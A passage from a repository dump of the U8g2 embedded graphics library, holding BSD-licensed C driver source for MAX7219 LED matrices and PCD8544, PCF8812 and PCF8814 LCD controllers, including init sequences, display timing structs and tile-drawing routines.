disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_max7219_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_END_TRANSFER(), /* disable chip */ //U8X8_CA(12, 0), /* shutdown */ //U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_max7219_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_max7219_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_max7219_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c, j, i; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcf8812_96x65_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq); break; */ /* not supported by MAX7219 case U8X8_MSG_DISPLAY_SET_FLIP_MODE: break; */ #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); for( i = 0; i < u8x8->display_info->tile_width; i++ ) { u8x8_cad_SendCmd(u8x8, 10 ); /* brightness */ u8x8_cad_SendArg(u8x8, (arg_int>>4) ); /* 0..15 for contrast */ } u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: /* transfer always has to start at x pos 0 (u8x8 is not supported) */ /* also y pos has to be 0 */ /* arg_int is ignored */ //x = ((u8x8_tile_t *)arg_ptr)->x_pos; c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ for( i = 0; i < 8; i++ ) { u8x8_cad_StartTransfer(u8x8); for( j = 0; j < c; j++ ) { u8x8_cad_SendCmd(u8x8, i+1); /* commands 1..8 select the byte */ u8x8_cad_SendArg(u8x8, *ptr ); ptr++; } u8x8_cad_EndTransfer(u8x8); } break; default: return 0; } return 1; } /*==============================*/ static const u8x8_display_info_t u8x8_max7219_32x8_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 100, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 100, /* sck_pulse_width_ns = */ 100, /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 4, /* tile_height = */ 1, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 32, /* pixel_height = */ 8 }; uint8_t u8x8_d_max7219_32x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY : u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_32x8_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq); return 1; } return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr); } /*==============================*/ static const u8x8_display_info_t u8x8_max7219_16x16_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 100, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 100, /* sck_pulse_width_ns = */ 100, /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 2, /* tile_height = */ 2, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 16, /* pixel_height = */ 16 }; /* Multiple page rows are not supported, so 16x16 will not work. Due to the hardware structure of such displays all tiles of the display must be written at once. This is not possible with the current u8g2 structure. So u8x8_d_max7219_16x16 will not work. */ uint8_t u8x8_d_max7219_16x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY : u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_16x16_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq); return 1; } return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr); } /*==============================*/ static const u8x8_display_info_t u8x8_max7219_8x8_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 100, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 100, /* sck_pulse_width_ns = */ 100, /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 1, /* tile_height = */ 1, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 8, /* pixel_height = */ 8 }; uint8_t u8x8_d_max7219_8x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY : u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_8x8_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq); return 1; } return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr); } /*==============================*/ static const uint8_t u8x8_d_max7219_8_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_CA(15, 0), /* test mode off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_CA(12, 0), /* */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_CA(9, 0), /* decode mode: graphics */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_CA(10, 10), /* medium high intensity */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_CA(11, 7), /* scan limit: display all digits (assuming a 8x8 matrix) */ U8X8_END_TRANSFER(), /* disable chip */ //U8X8_CA(12, 0), /* shutdown */ //U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_max7219_8_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_CA(12, 1), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_max7219_8_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_CA(12, 0), /* shutdown */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_max7219_64x8_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 100, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 100, /* sck_pulse_width_ns = */ 100, /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 8, /* tile_height = */ 1, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 64, /* pixel_height = */ 8 }; uint8_t u8x8_d_max7219_64x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY : u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_64x8_display_info); return 1; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_8_init_seq); return 1; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_8_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_8_powersave1_seq); return 1; } return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_pcd8544_84x48.c ================================================ /* u8x8_d_pcd8544_84x48.c (so called "Nokia 5110" displays) Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_pcd8544_84x48_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x021), /* activate chip (PD=0), horizontal increment (V=0), enter extended command set (H=1) */ U8X8_C(0x006), /* temp. control: b10 = 2 */ U8X8_C(0x013), /* bias system 1:48 */ U8X8_C(0x0c0), /* medium Vop */ U8X8_C(0x020), /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_C(0x008), /* blank */ U8X8_C(0x024), /* power down (PD=1), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_pcd8544_84x48_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x020), /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_C(0x00c), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_pcd8544_84x48_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x020), /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_C(0x008), /* blank */ U8X8_C(0x024), /* power down (PD=1), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_pcd8544_84x48_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 2, /* post_reset_wait_ms = */ 2, /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 11, /* width of 11*8=88 pixel */ /* tile_height = */ 6, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 84, /* pixel_height = */ 48 }; uint8_t u8x8_d_pcd8544_84x48(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcd8544_84x48_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_pcd8544_84x48_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_pcd8544_84x48_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_pcd8544_84x48_powersave1_seq); break; // case U8X8_MSG_DISPLAY_SET_FLIP_MODE: // break; NOT SUPPORTED #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x021 ); /* command mode, extended function set */ u8x8_cad_SendCmd(u8x8, 0x080 | (arg_int >> 1) ); u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x020 ); /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */ u8x8_cad_SendCmd(u8x8, 0x080 | (x) ); /* set X address */ u8x8_cad_SendCmd(u8x8, 0x040 | (((u8x8_tile_t *)arg_ptr)->y_pos) ); /* set Y address */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; do { if ( c + x > 84u ) { if ( x >= 84u ) break; c = 84u; c -= x; } u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ x += c; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_pcf8812.c ================================================ /* u8x8_d_pcf8812.c pcf8812: 65x102 pcf8814: 65x96 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_pcf8812_96x65_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x020), /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_C(0x008), /* blank display */ U8X8_C(0x021), /* activate chip (PD=0), horizontal increment (V=0), enter extended command set (H=1) */ U8X8_C(0x006), /* temp. control: b10 = 2 */ U8X8_C(0x013), /* bias system, 0x010..0x07 1:48 */ U8X8_C(0x09f), /* contrast setting, 0..127 */ //U8X8_CA(0x020 | 2, 0x080 | 0), /* contrast setting, pcf8814 */ U8X8_C(0x024), /* deactivate chip (PD=1), horizontal increment (V=0), enter normal command set (H=0) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_pcf8812_96x65_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x020), /* power on */ U8X8_C(0x00c), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_pcf8812_96x65_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x020), /* power on */ U8X8_C(0x008), /* blank display */ U8X8_C(0x024), /* power down */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_pcf8812_96x65_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcf8812_96x65_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_powersave1_seq); break; /* case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; */ #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x021 ); /* command mode, extended function set */ u8x8_cad_SendArg(u8x8, (arg_int>>1)|0x80 ); /* 0..127 for contrast */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x020 ); /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */ u8x8_cad_SendCmd(u8x8, 0x080 | x); u8x8_cad_SendCmd(u8x8, 0x040 | ((u8x8_tile_t *)arg_ptr)->y_pos); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_pcf8812_96x65_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 100, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 100, /* sck_pulse_width_ns = */ 100, /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 12, /* tile_height = */ 9, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 96, /* pixel_height = */ 65 }; uint8_t u8x8_d_pcf8812_96x65(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcf8812_96x65_display_info); return 1; } return u8x8_d_pcf8812_96x65_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_pcf8814_hx1230.c ================================================ /* u8x8_d_pcf8814_hc1230.c pcf8814: 65x96 hx1230: 68x96 pcf8814 and hc1230 are almost identical. Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 